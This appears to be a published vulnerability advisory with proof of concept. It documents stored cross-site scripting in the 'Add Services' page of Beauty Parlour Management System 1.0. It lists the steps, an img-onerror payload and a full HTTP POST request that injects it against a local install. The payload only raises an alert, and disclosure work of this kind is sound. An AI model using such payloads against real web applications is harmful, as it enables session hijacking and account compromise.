Beauty Parlour Management System version 1.0 suffers from a persistent cross site scripting vulnerability.
34fe4781069f55ef636ebeb487e5c7873e252073bfb2323964a77fb81e0458ef
# Exploit Title: Beauty Parlour Management System 1.0 - 'Add Services' Cross-Site Scripting
# Date: 19/2/2021
# Exploit Author: Thinkland Security Team
# Vendor Homepage: https://phpgurukul.com/beauty-parlour-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/wp-content/uploads/2019/08/Beauty-Parlour-Management-System.zip
# Version : V 1.0
# Vulnerability Type: Cross-site Scripting
# Tested on Windows 10 、XAMPP
# This application is vulnerable to cross-site scripting vulnerability.
# Vulnerable script:
1.go to http://localhost/bpms/admin/ Sign in.
2.go to http://localhost/bpms/admin/add-services.php,Click on Services —— Add Services,Fill in Services name <img src=1 onerror=alert(/xss/)>,Click on Add.
3.Click on Manage Services,You will see your Javascript code executed.
# poc:
POST /bpms/admin/add-services.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: http://localhost
Connection: close
Referer: http://localhost/bpms/admin/add-services.php
Cookie: PHPSESSID=qaqv7jl8dqci4i2nldnj4n60s0
Upgrade-Insecure-Requests: 1
sername=%3Cimg+src%3D1+onerror%3Dalert%28%2Fxss%2F%29%3E&cost=1&submit=